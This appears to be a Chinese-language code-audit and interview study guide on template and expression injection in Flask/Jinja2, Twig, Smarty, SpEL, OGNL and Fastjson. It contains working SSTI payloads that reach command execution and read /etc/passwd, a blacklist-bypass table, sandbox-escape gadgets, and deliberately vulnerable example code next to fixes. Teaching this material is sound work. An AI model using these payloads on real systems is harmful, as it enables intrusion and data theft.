任意对象 ──__class__──▶ 它所属的类 ──__mro__──▶ 继承链(顶端是万物之父 object)
──__subclasses__()──▶ object 的所有子类(程序里加载过的类全在这,含"带路党")
──__init__.__globals__──▶ 该类方法所在模块的全局命名空间(里面可能就有 os、builtins)
生活类比:你被关在一个空房间里(模板上下文),什么都没有。但你脚下踩的地板(任意对象)有出厂标签(__class__),标签上有厂家族谱(__mro__),族谱顶端是总厂(object),总厂有全系列产品目录(__subclasses__()),目录里某款产品的说明书(__globals__)里写着仓库钥匙在哪(os 模块)。整个过程你不需要任何进口(import),全靠摸对象身上的隐藏属性——这就是为什么”禁 import”挡不住 SSTI。
经典 payload(Flask/Jinja2)
# 第一步:探测。回显 49 即确认 SSTI 存在
{{7*7}}
# 第二步:列出所有可用子类,人肉/fuzz 找"带路党"(索引号随环境变化,需现场试)
{{''.__class__.__mro__[1].__subclasses__()}}
# 第三步:读文件。从某个子类摸到 __builtins__ 里的 open
{{''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
# 第四步:命令执行。某个子类的 globals 里 import 过 os 时
{{''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read()}}
# Flask 便捷路径一:config 对象直接在模板上下文里,一条泄露全部配置(含 SECRET_KEY)
{{config}}
# Flask 便捷路径二:lipsum/url_for/get_flashed_messages 这些 Flask 注入的模板全局函数,
# 函数的 __globals__ 里常有 os(注意:具体可用性随 Flask/Jinja2 版本变化,不在就 fuzz 别的)
{{lipsum.__globals__['os'].popen('id').read()}}payload 主链逐段拆解(以命令执行那条为例):
''—— 一个空字符串,房间里随手可得的”地板”;.__class__—— 它的类,即<class 'str'>;.__mro__—— str 的方法解析顺序(继承链),形如(str, object);[1]—— 取继承链第 2 个,即万物之父object;.__subclasses__()—— object 的全部子类列表,程序加载过的类基本都在;[INDEX]—— 挑一个”带路党”(比如os._wrap_close,它的模块里 import 了 os);.__init__.__globals__—— 该类的初始化方法所属模块的全局命名空间字典;['os'].popen('id').read()—— 拿到 os 模块,开管道执行id并读回结果。
INDEX 为什么不确定:子类列表的内容取决于目标程序加载了哪些库,顺序无规律,所以实战中是先回显整个列表再数下标,或者写脚本批量 fuzz。
2.3 过滤绕过
目标站点加了关键字过滤怎么办?这张表是”见招拆招”清单。核心思想一句话:Python 里同一个属性有无数种写法,黑名单只能堵死其中几种。
| 被过滤内容 | 绕过手法 | 原理一句话 |
|---|---|---|
下划线 _ | `” | attr(request.args.a)(a=class,属性名从请求参数带进来);或十六进制 ’\x5f\x5fclass\x5f\x5f’` |
点号 . | `” | attr(‘class’) 用过滤器代替属性访问;”[‘class’]` 下标访问 |
| 引号 | 用 request.args.x 取值当字符串;字符串拼接 ''['__cl'+'ass__'] | 黑名单扫不到拼出来的结果 |
| 关键字 class/mro | 拼接 '__cla'+'ss__'、反转 'ssalc__'[::-1]、hex/base64 编码后 decode | 同上,绕过的是”文本匹配”这个弱鸡机制 |
{{ }} 被拦 | {% if %}...{% endif %}、{%print(...)%} 语句块 | Jinja2 执行表达式不止 {{ }} 一种入口 |
| 黑名单 import/os | 走 __builtins__['eval']、subprocess.Popen、__loader__.load_module 等替代路径 | 达到 RCE 的路从来不止 os 一条 |
2.4 沙箱逃逸专题(给思路,不堆 payload)
SSTI 遇上沙箱(禁 import、裁剪 builtins、关键字黑名单)时的逃逸方法论。先把沙箱分分类,再讲通用破解法。
常见沙箱形式
| 沙箱形式 | 典型实现 | 固有弱点 |
|---|---|---|
禁 import | AST 扫描拒绝 Import 节点、接管 __import__ | 对象图里仍藏着早就 import 过的模块(os 几乎必然在) |
| 禁内建函数 | 裁剪 __builtins__(删 open/eval/exec/import) | 漫游找回:别的模块的 __globals__ 里 __builtins__ 没被裁 |
| 关键字黑名单 | 正则过滤 os/system/eval 等字符串 | 拼接、编码、getattr 动态取属性,见 2.3 |
audit hook(Py3.8+ sys.addaudithook) | 运行时审计事件拦截 | 历史上多次被绕过(对象漫游触发不审计的 C 层操作);只能作纵深防御 |
| seccomp / 容器 | 系统调用层限制 | 与代码审计无关,属部署层,不讨论 |
逃逸思路(按优先级,面试说出前 3 条即可)
- 对象图漫游(主力):从可达对象(
''、()、函数、异常)出发,__class__ → __mro__ → __subclasses__(),在全量子类中找”带路党”:os._wrap_close:__init__.__globals__里有os、system;warnings.catch_warnings:__init__.__globals__['__builtins__']是全量内建;- 任何 import 过
os/sys/subprocess的第三方类。
- import 机制本体:
<class '_frozen_importlib.BuiltinImporter'>(沿sys.modules或子类链可达)提供load_module,等于自带 import;__loader__、importlib模块本身常被某个子类的 globals 持有。 - 恢复 builtins:拿到任一函数对象的
__globals__,若其中__builtins__未被裁剪,直接取eval/exec/__import__/open——沙箱裁的是自己那份,裁不掉所有模块手里的副本。 - Format string / f-string 注入:
'{0.__class__.__init__.__globals__}'.format(obj)——很多沙箱只防 eval,不防 format。 - 异常与代码对象:
func.__code__、types.CodeType手工构造代码对象等深度路线(CTF 高阶内容)。
Django 模板说明(常见误区)
Django 自带模板能力很弱:不支持任意表达式求值,
{{ }}里只能做属性访问和过滤器,一般不构成 SSTI RCE,和 Jinja2 不是一个量级。Django 模板侧的审计点是 XSS:{% autoescape off %}、mark_safe()、|safe这三处。
2.5 案例:Flask SSTI → RCE
动手实验(30 秒建立直觉)
在学案例之前,先在自己电脑上跑一遍最小复现,亲眼看看”图纸被改”长什么样:
python3 -c "
from jinja2 import Template
# 模拟 ❌ 写法:用户输入拼进模板本体
user_input = '{{7*7}}'
print(Template('result: ' + user_input).render()) # 输出 result: 49 ← 输入被执行了
# 模拟 ✅ 写法:用户输入只作渲染变量
print(Template('result: {{ v }}').render(v=user_input)) # 输出 result: {{7*7}} ← 输入只是文本
"看到第一行输出 49、第二行原样输出 {{7*7}},你就真正理解了整个 Python 章节的全部攻防。
漏洞代码(逐行注释)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/calc')
def calc():
expr = request.args.get('expr', '') # ① Source:用户输入,无过滤
tpl = f"<p>result: {expr}</p>" # ② f-string 把输入拼进模板本体
return render_template_string(tpl) # ③ Sink:整体交给 Jinja2 编译执行数据流分析
- Source:
request.args.get('expr'),用户完全可控,无任何过滤。 - 传播:
expr经 f-string 拼入tpl。注意此时expr里的{{ }}还只是普通字符,危险发生在下一步。 - Sink:
render_template_string(tpl)把整个tpl当模板源码编译。Jinja2 词法分析时发现{{ }},把里面当 Python 表达式求值。攻击者请求/calc?expr={{7*7}},回显result: 49,注入确认。 - 升级 RCE:
expr={{ ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['os'].popen('cat /flag').read() }}(N 为”带路党”子类在列表中的索引,现场 fuzz 得到)→ 命令结果回显,RCE 成立。
审计结论:render_template_string 的第一个参数中出现任何用户输入拼接即 SSTI 高危,与框架版本无关——这不是 bug,是误用。
修复
@app.route('/calc')
def calc():
expr = request.args.get('expr', '')
# ✅ 输入只作为渲染变量传入:模板本体是常量,Jinja2 对变量值自动转义
return render_template_string("<p>result: {{ expr }}</p>", expr=expr)对比修复前后:用户再提交 {{7*7}},页面会原样显示 result: {{7*7}} 而不是 49——因为模板里唯一的 {{ expr }} 占位符是把变量值当文本填进去的,不会二次解析。这个”再发一遍旧 payload 看是否失效”的动作,也是你验证修复是否到位的标准手法。
2.6 Python 防御与修复汇总
- 模板本体永远不可控:用户输入只作渲染变量传入(
render_template_string(tpl, var=user_input)/render_template+ 模板文件),禁止任何形式的字符串拼接进模板第一参数。 - 必须动态模板时走白名单映射(key → 预定义模板),不做黑名单过滤。
- 真有表达式求值需求,用
ast.literal_eval(只允许字面量,安全),杜绝eval/exec承接用户输入。 - 不迷信沙箱:禁 import / 裁 builtins / 关键字黑名单均可被对象图漫游绕过,沙箱只能作为纵深防御的一层,不能当主防线。
3. PHP
PHP 的表达式/模板注入形态主要落在 Twig 与 Smarty 两大模板引擎(Blade 属 Laravel 编译型模板,用户输入进模板本体的场景少见)。原理与 Jinja2 完全一致:用户输入被拼进模板字符串/模板名,引擎把输入当模板语法编译为 PHP 执行。所以这一节你可以读得很快——换汤不换药。
- Twig:
- 注入面:
Twig\Environment::createTemplate($userInput)->render()(模板本体可控)、render($name)中模板名可控。 - 探测:
{{7*7}}(Twig 表达式语法和 Jinja2 长得很像)。 - 升级路径:
_self对象;过滤器回调{{['id']|filter('system')}}——filter/map/sort这类过滤器会把字符串参数当 PHP 函数名回调,'system'一传就是命令执行;{{app}}上下文泄露(Symfony 框架注入的对象,含内核、环境变量)。 - 审计关键字:
createTemplate、render(拼接、|filter(、registerUndefinedFilterCallback。
- 注入面:
- Smarty:
- 注入面:
display('string:'.$input)/fetch('string:'.$input)——string:资源前缀表示”后面这串字符就是模板源码”,拼上用户输入即 SSTI。 - 危险语法:旧版本
{php}标签(Smarty 3.1 起默认移除,但SmartyBC兼容层会把它复活——审计时看到项目引入 SmartyBC 要提高警惕)、{eval}、{include}可控文件。 - 审计关键字:
display('string:、fetch('string:、{eval}、SmartyBC、trusted_dir配置。
- 注入面:
小案例:Twig 的 createTemplate 误用
<?php
// ❌ 危险写法:用户昵称直接当模板源码编译
$twig = new \Twig\Environment($loader);
$name = $_GET['name']; // ① Source:用户输入
$template = $twig->createTemplate("Hi " . $name); // ② 输入拼进模板本体
echo $template->render(); // ③ Sink:渲染 = 编译执行数据流四步:① $_GET['name'] 完全可控 → ② createTemplate("Hi " . $name) 把它变成模板源码的一部分 → ③ render() 编译执行 → ④ 全程无过滤,Twig 见到输入里的 {{ }} 就求值。
payload 拆解:?name={{['id']|filter('system')}}
['id']—— 一个只含字符串id的数组,数组元素就是要执行的命令;|filter('system')—— Twig 的filter过滤器,会把'system'当 PHP 函数名,对数组每个元素回调一次;- 合起来等价于 PHP 的
system('id')——命令执行,结果回显。
审计判定与修复,一句话:模板内容/模板名不可控,输入只作 assign 变量。Twig 用 createTemplate 处理任何外部输入即高危;Smarty 见到 string: 资源拼用户输入即高危;保持引擎版本最新(历史 SSTI CVE 多为版本问题),不使用 SmartyBC 兼容层。更细的审计手法见 PHP 模板注入专项(php-tpl-audit)。
4. 面试题眼速答
| 题目 | 一句话答案 | 展开两三句 |
|---|---|---|
| 四.36 表达式注入如何审计?(SpEL/OGNL/Thymeleaf) | 找求值 Sink → 查输入拼接 → 验上下文限制,三步走。 | Sink 清单:parseExpression().getValue()(SpEL)、Struts2 框架二次解析(OGNL,版本审计)、Controller 返回语句拼视图名命中 __${...}__ 预处理(Thymeleaf)。SpEL 利用核心是 T(java.lang.Runtime).getRuntime().exec(),防御看是否换用 SimpleEvaluationContext;OGNL 核心是操纵 _memberAccess 恢复静态方法调用,防御=升级 struts2-core;Thymeleaf 核心是视图名拼接二次求值,防御=视图名白名单。 |
| 四.37 Python SSTI 怎么审/怎么利用 | Sink 是 render_template_string/模板第一参数拼接用户输入;利用靠对象图漫游找 os。 | 审计搜 render_template_string(、Template(,看第一参数是否拼 Source(request.args 等)。利用链 __class__→__mro__→__subclasses__()→__init__.__globals__→os,在子类列表里找 os._wrap_close 等”带路党”拿 os.popen 或 __builtins__。过滤绕过:attr() 过滤器、下标访问、字符串拼接/编码、{% %} 语句块。 |
| Python 沙箱怎么逃逸 | 核心思路是对象图漫游:禁 import、删 builtins、关键字黑名单都挡不住。 | 从任意对象经 __class__.__mro__[1].__subclasses__() 枚举全量子类,找持有 os/__builtins__/import 能力的(os._wrap_close、warnings.catch_warnings、_frozen_importlib.BuiltinImporter),恢复内建函数后执行任意代码。原理:沙箱裁的是”自己那份”命名空间,裁不掉程序里其他模块早就 import 好的副本。 |
| 四.38 Fastjson autotype 原理与防护演进? | @type 可控即可实例化任意类并触发危险 getter/setter → RCE;正解是升级 + safeMode。 | autotype 为解决”反序列化时目标类型未知”而设计:序列化写入类全名,反序列化按 @type 实例化。1.2.25 引入 checkAutoType(默认关 + 黑白名单),之后 1.2.41~47 是”补黑名单—字符串变形/缓存投毒绕过”的拉锯;1.2.68 的 safeMode 彻底关闭 autotype 才是终点。autotype=false 时仍有 expectClass 合法子类、危险 deserializer 两条研究过的绕过面。审计结论:1.2.x 默认配置处理外部 JSON 按未修复处理,或迁移 Jackson(不开 default typing)。 |
| PHP 模板注入怎么审 | Twig 搜 createTemplate,Smarty 搜 string: 资源,判定核心都是”模板本体或模板名可控”。 | Twig:createTemplate($userInput) / render($name) 拼接即高危,利用走 ` |
背诵锚点(考前扫一眼)
- 通用公式:Sink + 输入拼接进表达式/模板本体 + 上下文未受限 = 高危。
- 判别口诀:输入进图纸 → 注入;输入只填姓名栏 → 安全。
- SpEL 三要素:
parseExpression + getValue + StandardEvaluationContext;修复关键词SimpleEvaluationContext。- OGNL 三字母:
_memberAccess(操纵它 = 恢复静态方法调用)。- Thymeleaf 双下划线:
__${...}__预处理 = 二次求值;Sink 在 Controller 的 return,不在模板文件。- Jinja2 对象链:
__class__ → __mro__ → __subclasses__() → __init__.__globals__。- Fastjson 三版本线:1.2.25(checkAutoType)→ 黑名单拉锯(1.2.41~47)→ 1.2.68(safeMode)。